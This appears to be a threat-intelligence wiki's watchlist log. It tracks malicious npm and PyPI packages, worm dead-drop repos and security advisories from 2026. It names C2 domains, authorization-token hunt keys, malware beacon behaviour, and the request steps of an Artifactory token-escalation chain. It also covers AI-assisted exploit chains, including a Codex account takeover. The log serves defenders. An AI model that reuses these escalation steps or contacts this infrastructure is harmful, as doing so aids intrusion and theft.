• 110th sweep: THE CURATED NEVER-JOIN TEST RESOLVES, aliases None on all four #1639 cohort records +3 h 13 m post-mirror AND the 07:30:04Z importer tick modified-touched 17894/17896 WITHOUT attaching the existing mirrors = alias join is machine-lane-BIRTH-ONLY, None past ≈1 h grace is PERMANENT; Shai-Hulud BURST-F sleep 31 min FIFTH consecutive tightening (50/125/78/34/31), cohort 49, multi-file result PAIRS x2 in-cluster, ceiling 201,681 B (this wiki, Oct 16 one-hundred-and-tenth sweep), four cohort names + the @flexmr pair all still 200 malicious latest ZERO holders; the :30 batcher is the live mirror-backfill test for OSV-first machine records (17898/17899); fromthehotel-poems (first llm-threat record) quarantine holds, one-record cohort; Sonatype Q3 index names the Anthropic eval package mlflow-ui (MAL-2026-10779); GhostAction Oct 8-9 spike sized ≈1,900 accounts / 28,000 repos, Oct 10/12 waves neutralized by GitHub's Oct 9 block. Prior,
• 108th sweep: #1639 MERGED 03:44:38Z -> the blind-spot cohort MINTED (MAL-2026-17893-17896 at the 04:15:19Z tick, published backdated to each InvisiRisk flag second) AND ALL FOUR STILL SERVE MALICIOUS latest WITH NO HOLDER = curated merge = records not takedowns; no GHSA mirrors exist (malware head unmoved ~4.3 h) so alias lane + seizure interlock both have nothing to fire on; merge->OSV clock 30m41s with a tick SKIP (04:00 skipped), quote the quantized wait as <=30 min-with-skips. PRIORITY WATCH: Shai-Hulud BURST-D, second Oct-16 cluster 04:38-05:26Z TEN mints, 78-min sleep SHORTER than burst-C's 125, cohort 21, public_repos 305->315, AND THE STRICTLY-SINGLE-USE RULE BREAKS: mentat-laza-535 THREE commits/TWO result files (130,773 B + 4,825 B), sardaukar-fedaykin-521 TWO files 319,866 B total, bundle sizes now 3.1 KB->320 KB vs the 10-12 KB three-day constant = results-bytes is a severity dimension. PhantomSub enforcement COMPLETE: all ten names holder-or-404 (baileyss hard 404). robdotty trio-shims byte-identical ~2 h. Agentaix 9th dark read DORMANT. ABOVE-BAR FEED HIT: Unit 42 CL-UNK-1211 AI-generated-payload gov-Linux espionage FULL TEXT -> new page. Fleet: beacons 24th, realwbx token-gate 22nd holds, pyyi ~105 h, KEV unchanged 2026.10.15/1,746. See 108th stream section.
• THREE EXPERIMENTS RESOLVE: reverse-mirror = import-lag window (~35-40 min, not blindness) + alias model v3 CONFIRMED (retro-mints join on the next importer tick) + conx3993 blind spot closed upstream by #1639 absorbing the author= census + Shai-Hulud BURST-C lands on Oct-16 + robdotty carriers byte-identical at re-pull with a two-hop host-side shim chain (this wiki, Oct 16 one-hundred-and-seventh sweep), MAL-2026-17890 (@developmentyora/yorakids, alias GHSA-xgr5) + 17891 (asistenyorstore, GHSA-qgh5) + 17892 (xmd-baileys, GHSA-m3qf) imported at the 01:45:13Z tick ≈35-40 min behind their GHSAs with published backdated to the mint second = a GHSA-only name is invisible to OSV-keyed consumers for a WINDOW, poll affects= and re-check the 404 before writing structure. Same tick executed the four PhantomSub retro-alias joins within 100 ms = model v3 final form: trigger = mirror event, timing = next importer batch, ≈1 h grace before quoting aliases: None. #1639 updated 02:37:03Z added web-pixels-manager/buyerdashboard (per-package Authorization values in record details) after this wiki's 143rd census + named 17869/17871/17874/17875 as already machine-advised, nine-object conx3993 census fully accounted; both unflagged names still 200 installable zero-record PENDING MERGE (merge watch: five MAL-0000-invisirisk-* placeholders mint on the quantized tick; does seizure fire then?). realwbx /ip.php token-gated 200/401 (tokens 8eb5e864…/ba95f781… hunt keys). PRIORITY WATCH: blossom91 Oct-16 cohort 11 = 50 min-gap single mint, 125 min sleep, 10 in 24 min 02:56-03:20Z, duty cycle carried across midnight, next read = second-cluster timing. robdotty: six carriers byte-identical ≈6 h + trio names served host-side as shims-to-carriers (fa60ac2a…/00fafc85…/c09a4948…) = two-hop off-registry chain. Queue: #1638 merged 03:24:16Z minting nothing (records untouched ≈18 h, redundancy without record touch); #1608 ≈7.6 d. KEV unchanged 2026.10.15/1,746. See 107th stream section.
• PhantomSub SECOND DRAIN WAVE = backlog enforcement reaches the September OSV-only cohort + REVERSE-MIRROR CLASS (GHSA with zero OSV) + alias-lane live experiment (this wiki, Oct 16 one-hundred-and-sixth sweep), seven Malware in <name> critical GHSAs minted in two one-second batches 01:07:51/01:09:28/01:09:29/01:10:07Z (GHSA-5ghv @celestial-community/baileys, GHSA-23wg kiyoramarkets, GHSA-qgh5 asistenyorstore, GHSA-xgr5 @developmentyora/yorakids, GHSA-v8xh @developmentyora/baileyss, GHSA-jj55 bungoma, GHSA-m3qf xmd-baileys) with all seven npm docs recreated + 0.0.1-security-holdered 01:06-01:13Z (+35 s→+5 m10 s clocks). Targets carried OSV-only records Oct 1-9 and sat GHSA-less 7-15 days = the drain, not birth-mirroring, closed this wiki's standing "named families keep installing while named" finding, retro-lag measured in WEEKS. xmd-baileys + yorakids = GHSA + seized doc + ZERO OSV = the mirror lane mints terminal records the OSV stream never imported; OSV-keyed consumers structurally blind; poll GHSA affects=. LIVE ALIAS EXPERIMENT: the four OSV-born records read aliases: None modified frozen ≈25 min after their retroactive mints, join at the next :00/:30 tick strengthens model v3 (creation-event-driven regardless of age); silence past hourly ticks = retro-mints NEVER join (permanent cross-feed blindness on retro-mirrored records). RESOLVE FIRST next sweep. Also standing: PhantomSub cohort depth (101+ names, waves covered 35+7, enumerate via family text, diff holdered vs live), OSV late-arrival watch on the two reverse-mirror names. See drain-wave section + 106th stream section.
• robdotty six-name npm cohort = PURE OFF-REGISTRY URL-DEP DELIVERY, artifacts.creditslib.com lives and cannot be registry-purged + proxyrobika TRIPLE spelling + Shai-Hulud dead-drops SPARSE-BURST + agentaix DORMANT (this wiki, Oct 15 one-hundred-and-forty-fourth sweep), MAL-2026-17888 (@flexmr/utils) + GHSA-f8pr-fqvq-vvxv opened the new cohort page: every version of all six robdotty names is a bare require() shim whose only dependency is a https://artifacts.creditslib.com/npm/<carrier> tarball URL; the six carriers 404 on npm and exist only on the Cloudflare-fronted host (200 per-name, clean stubs at check, sha256 set on the page). Registry enforcement structurally cannot reach this channel; version-scoped advisories are meaningless (live latest behavior-identical, out of scope). Five siblings still zero-record + installable = machine-lane name-gating, second census lesson. Monitor: carrier-hash flips (77a0b911…/bb5d170f…/cd4765ff…/b7e52394…/f7cfdfef…/2ba8c293…), sibling record-or-purge disposition, robdotty re-registration, copycat URL-spec-dep shapes. MAL-2026-17889 proxyrobika = THIRD 2026-10-proxyrubika spelling in ≈10 h (hunt normalized spellings; ig-gox page section). PRIORITY WATCH correction: blossom91 dead-drops SPARSE-BURST (73 s double-mint after the 165 min gap; measure bursts AND gaps). Agentaix FIFTH dark read = DORMANT. Watcher blind spot #1639 UNREPAIRED ≈8 h (buyerdashboard/web-pixels-manager zero-record installable). Fleet: beacons 20th check, pyyi ≈95 h, KEV unchanged 2026.10.15/1,746. Importer-lag capture: records can land ≈17 h behind detection, a quiet resume id is a tick verdict, never an attacker verdict. See 144th stream section.
• conx3993 watcher BLIND SPOT, author= enumeration finds buyerdashboard + web-pixels-manager unflagged by #1639 + Shai-Hulud burst DECAYS (≈70-day Oct-15) + KEV 2026.10.15/1,746 (this wiki, Oct 15 one-hundred-and-forty-third sweep), text=author:conx3993 npm search returns NINE objects; #1639 lists three. web-pixels-manager (76.2.4 13:00:49Z) + buyerdashboard (45.3.4 13:24:17.6Z) share the fleet grammar verbatim (preinstall node index.js → GET realwbx.com/ip.php?ip=8.8.8.8, per-package Authorization tokens 8eb5e8641a5795b022d68e14d8858415/207e4133bd083b9e3e89c5556fc8677e, spoofed Nodejs v4.4.0/v3.7.4 UAs, staging stub + inflated rung) and sat ≈95/≈71 min BEFORE the 14:35:33Z filing unflagged, zero-OSV/zero-GHSA/installable at check = a seconds-level filing proves what the watcher SAW, not what the account DID, census the publisher yourself with author=, never from the PR. Hunt keys: the two new Authorization token literals + the nine-name cohort. idlive/xapi-lib zero-record ≈7.4/≈6.4 h. PRIORITY WATCH: blossom91 Oct-15 marker repos 70 = +2 in ≈4 h, tail gap 165 min = 7x baseline, Oct-15 closes ≈70 ≈36% below Oct-14, burst→drained→decaying across three reads; mint→results/ ≈6.8 s day three; census negative; decay is not clearance. Agentaix FOURTH dark read = dormant-call line (fifth = DORMANT). KEV 2026.10.15/1,746: CVE-2026-21589 Atlassian Multiple Products (files/dirs accessible to external parties, due 10-18), first move since the Oct-14 batch. Transport: storage.googleapis.com/osv-packages bucket route DEAD for MAL ids (404 even on live controls), api.osv.dev only. Fleet: beacons nineteenth, util-foriepft ≈48 h (ecosystem-pin capture #4), pyyi ≈91 h past 90 h, realwbx 401 seventeenth. See 143rd stream section.
• Shai-Hulud dead-drop burst DRAINS (≈70-day Oct-15) + #1639 account-watcher filing at 4 s/12 s publish-to-flag against conx3993 (this wiki, Oct 15 one-hundred-and-forty-second sweep), blossom91 Oct-15 marker repos 68 at 15:3xZ (+3 in ≈2 h, tail gaps 24-45 min = baseline band, the ≈170-day scenario dead); mint→results/-commit timing still ≈7 s on day three; drops strictly single-use, census still all-blossom91; AND #1639 (InvisiRisk) filed THREE more conx3993 names with detection timestamps 4 s (idlive-face-capture-web-development) and 12 s (xapi-lib) after publish = automated PUBLISHER-ACCOUNT monitoring is the fastest disclosure lane on the ledger; both new names zero-OSV + installable at check = live-name advisory clock open; hunt: grep open-PR bodies for publisher accounts, diff registry publishes at minutes latency. See 142nd stream section.
• NEW kam193 campaign 2026-10-proxyrubika + agentaix sixth member py-wormgpt + agentaix rails second dark read (this wiki, Oct 15 one-hundred-and-forty-first sweep), PyPI names proxyrubika/proxy-rubikis (MAL-2026-17885/17887, target:android file-exfil, spelling-variant pair born 1 h apart, quarantined ≤~3 h) reopen the Termux/Android lane; py-wormgpt (MAL-2026-17886, campaign 2026-10-agentaix) minted INSIDE the window the campaign's C2 (googleforum.pythonanywhere.com, 404 second read) and loader rail (anonrider404/pypl, readme clear still latest commit) went dark. Watch: seventh agentaix name with rails still dark = spend-down; anozxc re-registration; any new loader repo; any pip install pulling either proxyrubika spelling. Detail → 141st stream section, agentaix wormgpt section, proxyrubika on the ig-gox page
• Shai-Hulud dead-drop EXFIL CONFIRMED, results/ bundles in marker repos + blossom91 cadence ≈100/day three days (this wiki, Oct 15 one-hundred-and-fortieth sweep), UPDATE to the marker-cadence line below: full pagination of blossom91 shows marker-grammar repos created Oct 12: 6 / Oct 13: 102 / Oct 14: 109 / Oct 15: 51+ (≈100/day, one 2016-era account); and every sampled repo created from 09:44:08Z Oct 15 (plus Oct-13/14 repos) carries results/results-<epoch-ms>-0.json = {"envelope","key"} encrypted 10-12 KB bundles committed seconds after repo creation. Hunt key hardened: marker description + <dune>-<dune>-<num> grammar + fresh-repo-on-old-account cadence + a results/ directory = ACTIVE victim compromise NOW; any results/ file in a NON-blossom91 marker repo = wave-spreading census signal; the results/ blobs (not the READMEs) are the takedown-report surface. Detail → tensorlake drops-hot section
• Shai-Hulud / Mini Shai-Hulud / TeamPCP dead-drop marker cadence (this wiki, Oct 15 one-hundred-and-thirty-ninth sweep), GitHub-search the worm's marker description (forward "Shai-Hulud: Here We Go Again", reversed "niagA oG eW ereh :duluh-iahs") + the <dune-term>-<term>-<num> repo-name grammar: counts at capture 256 forward / 628 reversed, and account blossom91 (2016-era, 260 repos) minted 27 marker repos in one seven-hour machine cadence (10-30 min) TODAY with no payload commits. Treat any NEW marker-grammar repo as an active-compromise signal in the owning account until proven otherwise; watch whether payload commits ever land and whether other accounts join the cadence. Detail → tensorlake marker-cadence section
• 2026-10-agentaix PyPI campaign (kam193 lane), members #4/#5 py-worm+py-sock2 (this wiki, Oct 15 139th sweep), GitHub repo anonrider404/pypl main is the loader rail (README = the RAT source, post-advisory push churn at 08:46Z); C2 googleforum.pythonanywhere.com 200 five consecutive days; PyPI publisher anozxc re-registration watch; hunt any PyPI package importing an agentaix module or fetching raw.githubusercontent.com/anonrider404/; PythonAnywhere abuse-desk disposition. Detail → agentaix campaign page
• Wiz "Artifactory Under Attack", in-the-wild exploitation of JFrog Artifactory CVE-2026-42016 / CVE-2026-42018 / CVE-2026-82329 (Sep 10, 2026), monitor CISA KEV, JFrog, and self-hosted Artifactory operators for: the BOD 26-04 2026-09-25 remediation deadline on CVE-2026-42016/-42018 (now KEV; CVE-2026-82329 has been in KEV since Sep 2), patch-uptake telemetry on the corrected JFrog advisory builds (42016 → 7.133.11; 42018 → 7.111.20/7.117.28/7.125.20/7.133.29/7.146.9; 82329 → 7.111.22/7.117.28/7.125.20/7.133.29/7.146.37/7.161.20), and whether the two-step token-escalation chain (POST /access/api/v1/aws/token/ trailing-slash → POST /access/api/v1/tokens admin-scoped token retaining the anonymous subject → PUT /api/security/users/<user> 201) appears against new targets. Preserve the durable detection primitive: any request with actor = token:anonymous performing privileged operations is a confirmed-compromise tell that separates this chain from legitimate admin activity; also hunt new admin-level user accounts created outside normal IAM/SSO, unexpected Groovy plugin deployments in the Artifactory plugin host/JVM, and outbound Rust-backdoor C2 beaconing from the Artifactory host. This is the third exploited flaw in ~30 days against the self-hosted JFrog Artifactory family, treat artifact-repository admin as a Tier-1 compromise (exposes every artifact, credential, and build/CI integration it manages). See ops/wiz-artifactory-in-the-wild-cve-2026-42016-42018-82329-september-2026.md.
• Anthropic Project Glasswing / Mythos Preview vulnerability-ledger reconciliation (VulnCheck, Sep 8, 2026), monitor Anthropic's Vulnerability Disclosure Ledger (published May 22, 2026; next backfill), the Anthropic / Mythos disclosure program, and maintainers for the reconciliation gap flagged by VulnCheck's Patrick Garrity ("The Anthropic Glasswing Receipts Are Starting to Trickle In"): of the 26,153 claimed Glasswing findings, only 2,736 (10.5%) have reached the ledger and only 202 (0.8%) are marked fixed (245 withdrawn, 2 duplicates, 2,096 disclosed-but-unconfirmed, 191 pre-disclosure), human triage is the rate-limiting step, so "AI found the bug" ≠ "bug is fixed." Ledger cross-checks that don't reconcile: Anthropic's own dashboard claims 421 findings patched upstream → 462 advisories, but the ledger shows 202 fixed; the three ledgers disagree (CVE ledger 70 vs main 82; GHSA ledger 49 vs main 77); 18 findings were already patched by maintainers before Anthropic reported (research-collision risk as the backlog ages); and Claude rated 91.5% of findings critical/high vs 51.3% by maintainers, a systematic AI severity overestimate with no CVSS metrics published. Durable defender read: treat AI-discovered-vulnerability marketing claims as a discovery signal, not a fixed or severe signal; the standing question for any AI-assisted vulnerability program is triage-to-maintainer latency and the human-verified true-positive / severity gap, not raw finding count. No CVE, actor, or tool detail, meta-analysis, tracked here rather than as a standalone page; corroborates the Mythos/Glasswing disclosure watch in this file.
• PostGREShell / CVE-2026-6471 PostgreSQL logical-decoding REPLICATION RCE (Cyera Sep 1, 2026; THN Sep 4), monitor CISA KEV for a CVE-2026-6471 listing, in-the-wild exploitation of the 114 already-hostile VirusTotal PostgreSQL plugins, output_plugin_libraries allowlist fallout across CDC/Debezium/wal2json/decoderbufs deployments (post-patch replication outages as a canary), EOL 9.4-13 exposure past 14's November 12, 2026 end-of-life, and the next unguarded-plugin-load recurrence in a database engine (Redis MODULE LOAD / RediShell CVE-2025-49844 is the template). Preserve the durable detection shapes: a database server initiating outbound SMB 445 / NFS 2049 (the fully-remote path), pg_hba.conf rewrite + reload from a non-admin session, shared_preload_libraries drift, superuser flips in pg_authid without administrative provenance, and post-patch ERROR: library "..." may not be used as an output plugin log lines. See ops/postgreshell-postgresql-logical-decoding-replication-rce-cve-2026-6471-september-2026.md.
• ted backdoor / DPRK HAProxy-embedded Linux espionage toolkit (Rapid7 Sep 4, 2026), monitor Rapid7, ThreatFox, and South Korean CERT/victim organizations for C2 rotation of the img.<name>.<tld> set (img.monderhouse[.]space, img.smartnords[.]site, img.darklights[.]store, img.responsive.pstatic[.]autos Naver-mimic, img.socialteams[.]store, img.worksongo[.]store), named victims, additional trojanized-daemon variants beyond crond/agetty/atd/sshd/polkitd, HAProxy build-variant changes from HAProxy 2.8.12-0fdb194, and attribution refinement beyond the medium-confidence DPRK / APT37 assessment. Preserve the durable detection shapes: a load balancer rewriting response bodies it should only be routing, a non-HAProxy process polling /proc/haproxy.pid hourly, the PAM module drift with the /var/lib/sshd/c8c68e629bba773a10ac80012d10bf19 encrypted credential log, libvirtlog.so.0-gated sandbox evasion, and MD5(hostname+IP+HW-UUID+cron) User-token headers. See ops/ted-backdoor-haproxy-linux-espionage-dprk-curlrat-ssh-keylogger-september-2026.md.
• Next.js August 2026 security release: libheif/AVIF heap overflow + Windows path traversal (GHSA-2xp9-vwfh-vxw4 / GHSA-g89c-p67h-r497 / CVE-2026-75604), monitor Vercel, the Next.js blog/changelog, libheif (strukturag/libheif) GitHub releases for the libheif v1.23.2 patch that Next.js's "AVIF optimization off" stopgap is waiting on, the CVE-2026-75604 attack-mechanism disclosure (currently undisclosed; Windows-hosted Pages+App-Router-without-Cache-Components deployments, no workaround), and any in-the-wild exploitation of either flaw (none reported as of Aug 27, 2026). Preserve the durable pivots: (1) the libheif scale_nearest_neighbor() dual-Alpha-entry / nested-iden-auxl overflow shape (~16,384-byte attacker-controlled OOB write) as a standing native-image-parser RCE vector across every sharp/libheif consumer; (2) the Vercel monthly-security-program cadence (second release; program noted "rising vulnerability-research volume driven by LLM-assisted discovery"); and (3) the uncorroborated researcher "RCE on multiple applications" claim for the AVIF flaw. September 18, 2026 follow-up, Hacktron AI "HEIF Heist": the class went operational in the most literal way possible, a crafted HEIF/HEIC upload to OpenAI's Discourse community forum hit a libheif memory-corruption bug (fixed upstream months earlier, never flagged, never CVE'd = the shipped stack stayed vulnerable), chained to a forum-to-account takeover flaw that seized employee ChatGPT/Codex accounts, one of which had Codex connected to OpenAI's GitHub org = internal-monorepo access (PoC PR; $6,500 bounty; Discourse fixed Jul 27). Exploit failed under Opus 4.8, succeeded within hours of Opus 5's release; Hacktron names AWS, Meta core products, GitHub Enterprise, and Discourse as potentially exposed by HEIF/HEIC/AVIF vs libheif/libde265 (their assessment). Whether the Hacktron libheif bug is the same GHSA-g89c-p67h-r497 scale-path overflow is unconfirmed, monitor libheif advisories/commit naming, Discourse's advisory for both flaws (the account-takeover mechanism is still undisclosed), vendor confirmations/denials on the exposed-surface list, and the OpenAI postmortem. See Hacktron HEIF Heist page. See ops/nextjs-august-2026-security-release-avif-libheif-and-windows-rce.md.
• Hacktron AI research (HTML watch; September 18, 2026: HEIF Heist + OpenAI Discourse breach, see the Next.js entry follow-up and Hacktron HEIF Heist page; team: Harsh Jaiswal, Mohan SRK, Rahul Maini, Sudhanshu Rajbhar, founder Mohan Pedhapati; methodology explicitly human-led "assisted by Hacktron Harness, GPT-5.6 Sol, and Opus 5" with public before/after capability evidence (Opus 4.8 failed, Opus 5 succeeded on the same exploit problem within hours); monitor their blog for the full technical writeup of the account-takeover flaw and the exposed-surface list, and whether other bounty programs surface similar AI-built exploit chains; **September 19 sweep follow-up: the class widens, Astro GHSA-26w7-cxv4-gfx2 (CVSS 9.8, NO CVE) AVIF→libheif RCE via the default Sharp image service, fixed Astro 7.2.8 / Sharp 0.35.4 = a second mainstream framework RCE-capable from one crafted AVIF, advisory CVE-less like the original; ExifReader GHSA-pj96-35fp-cfcc / CVE-2026-85715 (fixed 4.41.1) zero-size-field iloc loop DoS (652 bytes → 400 MB heap, 6 KB → Node OOM) = same container-trust root cause in pure JS. libheif still v1.23.4, newest GHSAs incl. GHSA-q492-cfcm-895h still un-CVE'd, see Hacktron page Sep 19 second follow-up)
• GitHub Security Advisories August 29, 2026 batch (argocd-mcp / Sigma Forms Pro / Omnivore / Skyvern / BookStack / @better-auth/sso), monitor GitHub Security Advisories, Argoproj-labs mcp-for-argocd, Vercel, and the affected maintainers for: an argocd-mcp fixed release or configuration hardening (CVE-2026-82456, unauth MCP tool-surface bypass on ARGOCD_API_TOKEN, a recurring MCP-as-privileged-proxy critical alongside CVE-2026-59822), the Sigma Forms Pro fixed version (CVE-2026-14494, unauth WordPress RCE via dynamic unfiltered_upload + no MIME gate, immediate-on-install), the Omnivore Apple-Sign-In JWT algorithm-confusion fix propagation (CVE-2026-82454, alg=HS256 with Apple public key as HMAC secret), and the second-wave items (IBM ARE for i CVE-2026-18527 9.9, getgrav/grav-plugin-api CVE-2026-80203 9.8, Kimai CVE-2026-80198/-80193, StarRocks CVE-2026-80346, su-exec CVE-2026-82457, cohttp CVE-2026-82481, RubyGems CVE-2026-82455). No actor/infrastructure/payload/exploitation named. See ops/github-advisories-argocd-mcp-sigma-forms-omnivore-skyvern-bookstack-august-29-2026.md.
• TerminalClickFix / TerminalFix multistage reverse-tunnel campaign (Microsoft, Aug 28, 2026), monitor Microsoft Threat Intelligence, threat.wiki, and EDR/XDR vendors for additional victim scope, the gitnow[.]dev:443 / bestsocialmedianewspapper[.]com / offlineupdater[.]com / linked-log[.]com infrastructure rotation, dui70.dll variant hash churn, and whether the fake-Cloudflare-Turnstile ClickFix-in-Windows-Terminal lure pattern propagates into other ClickFix or registry-mirror campaigns. Preserve the durable detection shapes: LockScreenContentServer.exe sideloading a forged dui70.dll outside SystemApps, a C:\ProgramData\f47f2a8c21c9df4e\ payload directory, pythonw.exe running client.py with gitnow.dev, steganographic PNG payload split (first 8 bytes a 64-bit length), and a SOCKS-style WebSocket reverse tunnel. See ops/terminalfix-clickfix-reverse-tunnel-multistage-microsoft-august-2026.md.
• Berlin state network / Rhysida extortion (THN / Der Spiegel, Aug 28-29, 2026), monitor CISA/FBI, the Berlin Senate Chancellery, Der Spiegel, and Rhysida leak-site monitors for an authority-confirmed Rhysida attribution (currently moderate confidence via press + leak-site entry), a published ransom figure, refinement of the Aug 7-12 exfiltration scope beyond the Senate Mobility/Transport/Climate portfolio, confirmation whether personal data was exfiltrated, and any follow-on publication that expands scope. Preserve the durable initial-access lesson from the CISA/FBI/MS-ISAC Rhysida advisory: valid-account VPN access where MFA was not enforced is the highest-value control to audit in any public- or private-sector remote-access posture. See ops/berlin-state-network-rhysida-extortion-august-2026.md.
• Cosmos EVM vesting-account balance overflow exploited across six chains (GHSA-7g4w-cg88-2cq2), monitor the GitHub global advisory DB for GHSA-7g4w-cg88-2cq2 becoming publicly indexed (404 at capture), a CVE / CVSS / CWE assignment, Cosmos Labs v0.6.2 / v0.7.2 patch-uptake telemetry across the affected deployments (MANTRA and the other five chains), the advisory-incomplete-fix risk (PR #1187 locked-balance snapshot + commit 3524ebc module-account guard omitted from the advisory), fork-level cherry-pick defects (ZetaChain's duplicated unexported helper), and whether Cosmos Labs' public silent-patch routing for a known fund-loss threat changes its security disclosure policy. Preserve the detection shapes: vesting-account delegation above spendable balance, a wrapped ≈2^256 x/bank balance, and a single-transaction net-zero-supply mint/burn from a precomputed-address contract. See ops/cosmos-evm-vesting-balance-overflow-exploited-august-2026.md.
• @7nohe/openapi-react-query-codegen npm compromise (exposed issue-comment-triggered OIDC publishing workflow), monitor npm registry state for latest-tag repoint or deprecation of 3.0.4, takedown or yank of the ten affected versions, GitHub issue #217 / PRs #215-216 follow-ups, the repository's workflow fix (removal of issue_comment trigger and/or actor-authorization checks on the release workflow), a GHSA or CVE assignment, registry-side provenance actions, and any operator attribution or linkage to other unauthenticated-publish incidents. OX Security (Aug 29, 2026) identified the install-time payload as a Shai-Hulud variant now self-identifying as "Trinitite: Sponsored by Preview 2 Effects," rebundled with a new set of embedded RSA public keys that break the key-fingerprint used to correlate Shai-Hulud variants; OX frames it as a post-arrest copycat wave (compromise within ~24h of the AFP/WAPF/FBI TeamPCP charging), a Shai-Hulud-lineage / copycat assessment, not confirmed TeamPCP operator identity. Preserve the durable detection shapes: exact-match comment-body triggers, preinstall + binding.gyp dual execution paths, Bun staged under /tmp/trinnyyyy-*/ with gh auth token / GCP-metadata probing, and the "Trinitite"/trinitite string markers in new Shai-Hulud-lineage payloads (expect future variants to rotate public keys the same way). JFrog Security Research (Aug 30, 2026) independently confirmed the family and added durable detection shapes: two-wave publication (wave 1 binding.gyp-only vs wave 2 +preinstall), the install command now hidden in binding.gyp conditions as a Unicode-escaped Python expression that node-gyp evaluates (survives --ignore-scripts), a ~1.6M-entry XOR-key-9 array + two AES-128-GCM blobs with Bun v1.4.0 staged to trinnyyyy-*, new exfil markers (doubletrinnys-, meow meow meow vs IfYouRevokeThisTokenYourABadUser:, ClaudeCode Review workflow), direct PyPI-token push at upload.pypi.org/legacy/, and a live token-revocation trap (systemd-detect-fash / sysvinit-detect-fash + ~/.local/share/diaper/poopy.py) that can wipe ~/ on a 40x, isolate before revoking tokens; Xray ID XRAY-1065308 covers all ten versions. See ops/7nohe-openapi-react-query-codegen-npm-compromised-august-2026.md.
• Pimcore five-flaw coordinated batch (Aug 28 GHSAs: DataObject field-name RCE + Hotspotimage PHP object injection + privesc + SQLi + reset-URL ATO), monitor Pimcore GitHub, NVD, and vendor advisories for CVE backfill (55220 still lacks a CVSS), a CVE for 55634's secondary DDL SQLi, in-the-wild exploitation or any actor/infrastructure attribution, and whether the Hotspotimage Serialize::unserialize no-allowlist sink and the guzzle-7.11.0 FileCookieJar gadget chain get confirmed in the wild. Preserve the durable pattern: any identifier or serialized metadata that reaches codegen/deserialization without an allowlist is an injection primitive. See ops/pimcore-studio-dataobject-rce-php-object-injection-cve-2026-55634-batch-august-28-2026.md.
• OX ClickFix-in-npm / registry-mirror payload-storage campaign, monitor OX Security, npm/GitHub, unpkg / npmmirror / yarn / tencent mirror operators, and phishing-research channels for the remaining "keyval new logic" family packages (mndsxcusiwlk1, mn2adskhweox, mn3sadkoiewu, mn4xcouzvhus, mbxcnsuwgs1, skxcmwuncbg2, mobiwaefhxc3, @worrisome/reutil), mirror-side takedown or blocking, api.keyval.org encrypted-value rotation, additional typosquatted-Microsoft redirect domains beyond login[.]microsofte[.]live, mirror-hosted index.html URLs surfacing in phishing reports, and evidence of the current ChatGPT-targeted value being weaponized to ClickFix or other phishing endpoints. Preserve the no-install-execution framing: the durable threat is trusted-domain storage, not developer-machine infection. See ops/ox-clickfix-phishing-npm-mirror-payload-storage.md.
• Operation QUICSILVER / QUICAgent (Myanmar ITCSD targeting), monitor Seqrite, Myanmar CERT, Cloudflare, and regional incident responders for additional victims or sectors, VHD/LNK lure rotation, QUICAgent command-set expansion beyond the observed five, 104.64.211[.]22 or Cloudflare Workers discovery-domain rotation, QUIC/UDP C2 infrastructure changes, and attribution evidence that confirms or refines the moderate-confidence China-nexus assessment. Preserve the ftp.exe -s + copy /b OOXML-reassembly and 100-600 ms delay + ~1000× SHA-256 burn as the durable detection shapes. See ops/operation-quicsilver-vhd-delivered-go-backdoor-myanmar.md.
• WordlistLoader / SynkLoader → Amatera (ACR) ClearFake campaigns, monitor Gen Digital, ExpeL, eSentire, Microsoft, and registrars for loader-variant changes, additional compromised domains beyond the six recorded, cdn.jsdelivr[.]net path rotation, EtherHiding contract or RPC-endpoint changes, headless-conhost and delayed-environment-expansion coverage in EDR rules, SynkLoader ransomware-access-sales confirmations, and further overlap with Microsoft's documented ACR Stealer WebDAV campaigns. Preserve the family-label distinction: WordlistLoader/SynkLoader are new loader names inside the existing Amatera/ACR/AcridRain cluster. See ops/wordlistloader-synkloader-amatera-clearfake-campaigns.md.
• miniOrange SAML plugin CVE-2026-15981 / CVE-2026-61979 active exploitation, monitor Patchstack, Xecurify, DigitalOcean, WordPress security vendors, CISA, and incident responders for KEV listing, additional scanner source IPs beyond the six recorded, victim scope, PoC chain changes, plugin version reconciliation beyond the 17.0.5 / 17.0.6 Standard-edition fixes, and exploitation of edition or version gaps. Preserve the openssl_verify() tri-state / loose-boolean root cause as the durable PHP-integration audit pattern. See ops/miniorange-saml-unauthenticated-wordpress-admin-takeover.md.
• Keycloak CVE-2026-18963 unauthenticated account takeover, monitor Red Hat, the Keycloak project, GitHub Security Advisories, CISA, and identity-threat researchers for exploitation evidence or a KEV listing (none reported as of August 24, 2026), a public exploit or PoC, affected-version range reconciliation (GitHub advisory incomplete at capture), RHBK errata follow-ups, and downstream tenant impact on exposed identity servers. Preserve the "no confirmed exploitation as of capture" status. See tools/keycloak-cve-2026-18963-unauthenticated-account-takeover.md.
• Lazarus "Operation Dream Job" / CVE-2026-68820 exploitation, monitor CISA KEV, Microsoft, Check Point, and affected defense/aerospace/aviation victims for CVE-2026-68820 patch-uptake confirmation, additional targeted sectors or victims, new infection chains or relay infrastructure, RelayShell PHP C2-relay web-shell propagation beyond the observed Roundcube / WordPress / PrestaShop hosts, CVE-2025-49113 (Roundcube RCE) patching, MISTPEN Graph/OneDrive C2 indicators, FudModule / ForestTiger / Troy sample updates, the SecurityPDF trojanized-viewer and libmupdf.dll DLL-sideloading chains, the Enveil-impersonation SEO-poisoned download sites, and any attribution refinement beyond Check Point's Lazarus assessment. Preserve the confirmed-exploitation context and the distinct-CVE caveat (not CVE-2025-60719, not the 2024 CVE-2024-38193 variant). See ops/lazarus-operation-dream-job-shattering-the-dream.md.
• workerd / Cloudflare Code Mode sandbox-escape and cross-tenant heap swipe, monitor Check Point, Cloudflare, the cloudflare/workerd GitHub releases, and the MCP / agentic-tooling ecosystem for CVE or GHSA assignment of the five memory-corruption bugs, in-the-wild exploitation of self-hosted workerd or Code Mode deployments, a workerd version past v1.20260619.1, other V8-isolate / native-glue boundary flaws in the same shared-process model, and any prompt-injection-to-Code-Mode-host-execution chain in the wild. No actor or in-the-wild exploitation reported as of capture; treat the two demonstrated attacks as researcher PoCs from Black Hat USA 2026. See tools/workerd-code-mode-sandbox-escape-cross-tenant-heap-swipe.md.
